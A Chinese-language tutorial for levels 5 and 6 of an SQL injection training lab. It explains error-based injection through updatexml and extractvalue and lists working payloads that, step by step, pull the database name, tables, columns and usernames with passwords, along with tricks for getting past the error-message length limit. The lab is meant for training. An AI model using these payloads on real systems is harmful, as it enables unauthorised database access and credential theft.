目录
sql靶场5-6关(报错注入)保姆级教程
1.第五关
1.步骤一(闭合)
2.步骤二(列数)
3.报错注入深解
4.报错注入格式
5.步骤三(数据库表名)
6.常用函数
7.步骤四(表名)
8.步骤五(字段)
9.步骤六(账号密码)
2.第六关
sql靶场5-6关(报错注入)保姆级教程
1.第五关
1.步骤一(闭合)
查询闭合方式
?id=1 and 1=2
?id=1'
?id=1'--+
2.步骤二(列数)
查询列数
?id=1' order by 5--+
?id=1' order by 3--+
?id=1' order by 4--+
看有没有回显
如果没有直接回显字段就看看是否有报错,利用列数不同查看是否报错显示
3.报错注入深解
有则利用报错显示进行注入,让报错里面携带所需的查询信息
可以通过列数不同进行判断是否有报错,但是报错注入一般是让报错函数通过构造非法XPath表达式强制触发数据库解析错误,其核心原理与字段数无关,原因是字段数不匹配错误发生在 结果集构造阶段(如 UNION
前后字段数不一致)报错注入的异常发生在 条件解析阶段(如XPath解析失败),早于结果集生成,无论主查询返回3个字段还是其他数量,条件逻辑仅影响数据过滤,不涉及字段数对比
4.报错注入格式
一般是通过updatexml与 extractvalue进行构造非法XPath表达式
?id=1' and updatexml(1,concat(0x7e,(子查询语句),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(子查询语句),0x7e))--+
5.步骤三(数据库表名)
注入数据库表名
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
6.常用函数
使用的函数
concat:将同一行中多个字段的值拼接为单个字符串,适用于单行多列数据的合并
group_concat:某一列的数据聚合,适用于单列多行数据的合并
两个可以组合使用----每次先将行中的两个字段进行拼接成字符串再进行列的每行数据聚合
GROUP_CONCAT(CONCAT(col1, col2))
区别:
concat适用于需要精准提取特定行数据的场景(如管理员账号)。需多次请求,效率较低
group_concat单次请求获取数据,但需手动拼接分片结果。适用于快速批量泄露(如全表用户密码)
问题:
在利用 updatexml 进行报错注入时,可能会因为查询结果因长度限制显示不全,可通过以下两种方法解决:mid()或 substr()分片截取数据,规避 updatexml() 的32字符长度限制
区别:
substr(string, start, length) 和mid(string, start, length) 均用于截取字符串的指定部分,两者语法和功能完全一致,但是一般使用 mid(),功能相同但兼容性更佳,可无缝替代 substr避免潜在语法冲突。
使用的语法:
limit 0,1:从第0行开始,获取1条数据。逐次修改起始位置(如 limit 1,1、limit 2,1)遍历所有记录
substr(string, start, length):从字符串第1位开始截取31个字符(因报错信息最大长度约32字符),
逐次修改 start 参数(如 32、63)循环获取后续内容。
mid(string, start, length):从字符串第1位开始截取31个字符(因报错信息最大长度约32字符),
逐次修改 start 参数(如 32、63)循环获取后续内容。
特性 | concat + limit | group_concat + substr/mid |
---|---|---|
数据范围 | 单行数据 | 多行聚合数据 |
输出格式 | 单条记录(如 user~pass ) | 多条记录合并(如 user1~pass1,user2~pass2 ) |
注入效率 | 需多次请求遍历数据 | 单次请求获取多行数据 |
长度限制处理 | 直接适配单行输出长度 | 需通过 substr 分段截取避免超长截断 |
7.步骤四(表名)
获取表名:
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+
报错原因:查询表名,但是表名有多个(多行),这里无法全部展示出来,需要使用limit,一行一行查询
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+
另外一种方法,使用group_concat与mid,因为这里注入出来的表名没有超过32个字符,所以可以不使用mid进行截取
?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)--+
这里我突然想到在使用updatexml构造无效的XPath表达式中如果不使用concat能不能进行报错注入
?id=1' and updatexml(1,mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,30),1)--+
结果发现可以进行注入,但是会缺少第一行的数据
原因是不使用concat,没有分隔符:updatexml在解析字符串时,可能将第一个字符视为XPath语法的一部分而丢失。XPath解析问题:未正确构造无效的XPath表达式,导致首字符被处理掉。
8.步骤五(字段)
?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),1,30),0x7e),1)--+
9.步骤六(账号密码)
获取账号密码:
?id=1' and updatexml(1,concat(0x7e,(select substr((group_concat(username,0x3a,password)),1,32) from users),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(select mid((group_concat(username,0x3a,password)),1,32) from users),0x7e),1) --+
?id=1' and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+
在这里我再次尝试了在使用updatexml构造无效的XPath表达式中不使用concat
?id=1' and updatexml(1,select substr((group_concat(username,0x3a,password)),1,32) from users),1) --+
依然是缺少了第一行的数据
这里我突然想到既然缺少了第一行的数据,那么查询的字符数其实真正是不够的,如果改变取值,后面的会不会出来呢,于是我改到了40
?id=1' and updatexml(1,select substr((group_concat(username,0x3a,password)),1,40) from users),1) --+
结果发现了因为缺少了第一行的数据,那么查询的字符数其实真正是不够的,改变取值,其实后面的是会出来的
于是我继续往后面加,加到了45,发现只出来了一个,因为应该是实际只能够截取32位字符,与是我开始减值,到41是最大的值了
?id=1' and updatexml(1,select substr((group_concat(username,0x3a,password)),1,41) from users),1) --+
这里我又在想,如果直接截取最后几个字符,但是又不足32个字符,会不会将前面缺失的第一行报出来,结果测试发现账号密码的数据有点多,我就去表名,突然在注入表名的过程中其实已经知道了,只是没发现,结果是不会的。
2.第六关
进行闭合测试
id=1 1=2
id=1'
id=1"
id=1"--+
确认闭合方式就是双引号
剩下的内容和第五关一样,只是闭合方式不一样